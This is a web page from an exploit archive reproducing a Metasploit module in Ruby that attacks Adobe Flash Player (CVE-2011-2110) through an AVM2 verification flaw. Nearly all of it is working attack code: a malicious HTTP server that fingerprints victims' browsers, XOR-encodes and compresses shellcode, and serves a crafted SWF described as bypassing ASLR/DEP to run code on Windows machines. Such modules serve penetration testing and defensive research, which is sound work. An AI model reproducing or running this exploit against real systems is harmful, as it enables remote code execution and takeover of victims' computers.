Home / exploits

PDF

Adobe Flash Player AVM Verification Logic Array Indexing Cod

Posted on 20 June 2012

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',
 'Description' => %q{
 This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23
 and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
 logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
 vulnerability that was used for attacks against Korean based organizations.

 Specifically, this issue occurs when indexing an array using an arbitrary value,
 memory can be referenced and later executed. Taking advantage of this issue does not rely
 on heap spraying as the vulnerability can also be used for information leakage.

 Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several
 other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and
 is very reliable.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit,
 'Unknown' # malware version seen used in targeted attacks
 ],
 'Version' => '$Revision$',
 'References' =>
 [
 ['CVE', '2011-2110'],
 ['OSVDB', '48268'],
 ['URL', 'http://www.adobe.com/devnet/swf.html'],
 ['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],
 ['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],
 ['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],
 ],
 'DefaultOptions' =>
 {
 'EXITFUNC' => 'process',
 'HTTP::compression' => 'gzip',
 'HTTP::chunked' => true,
 'InitialAutoRunScript' => 'migrate -f'
 },
 'Payload' =>
 {
 'Space' => 2000,
 'BadChars' => "x00",
 'DisableNops' => true
 },
 'Platform' => 'win',
 'Targets' =>
 [
 [ 'Automatic', {}],
 ],
 'DisclosureDate' => 'Jun 21 2012',
 'DefaultTarget' => 0))
 end

 def exploit
 # src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as
 # full aslr/dep bypass using the info leak as per malware
 path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-2110.swf" )
 fd = File.open( path, "rb" )
 @swf = fd.read(fd.stat.size)
 fd.close
 super
 end

 def check_dependencies
 use_zlib
 end

 def get_target(agent)
 #If the user is already specified by the user, we'll just use that
 return target if target.name != 'Automatic'

 if agent =~ /MSIE/
 return targets[0] # ie 6/7/8 tested working
 elsif agent =~ /Firefox/
 return targets[0] # ff 10.2 tested working
 else
 return nil
 end
 end

 def on_request_uri(cli, request)
 agent = request.headers['User-Agent']
 my_target = get_target(agent)

 # Avoid the attack if the victim doesn't have the same setup we're targeting
 if my_target.nil?
 print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
 send_not_found(cli)
 return
 end

 xor_byte = 122
 trigger = @swf
 trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
 code = rand_text_alpha(rand(6)+3) + ".txt"

 sc = Zlib::Deflate.deflate(payload.encoded)
 shellcode = ""

 sc.each_byte do | c |
 shellcode << (xor_byte ^ c)
 end

 uri = ((datastore['SSL']) ? "https://" : "http://")
 uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
 uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"

 bd_uri = Zlib::Deflate.deflate(uri)

 uri = ""
 bd_uri.each_byte do | c |
 uri << (xor_byte ^ c)
 end

 bd_uri = uri.unpack("H*")[0]

 obj_id = rand_text_alpha(rand(6)+3)

 if request.uri.match(/.swf/i)
 print_status("Sending malicious swf")
 send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
 return
 end

 if request.uri.match(/.txt/i)
 print_status("Sending payload")
 send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
 return
 end

 html = <<-EOS
 <html>
 <head>
 </head>
 <body>
 <center>
 <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
 id="#{obj_id}" width="600" height="400"
 codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
 <param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />
 <embed src="#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"
 width="320" height="300" name="#{obj_id}" align="middle"
 allowNetworking="all"
 type="application/x-shockwave-flash"
 pluginspage="http://www.macromedia.com/go/getflashplayer">
 </embed>
 </object>
 </center>
 </body>
 </html>
 EOS

 html = html.gsub(/^		/, '')

 print_status("Sending #{self.name} HTML")
 send_response(cli, html, { 'Content-Type' => 'text/html' })
 end
end

 

TOP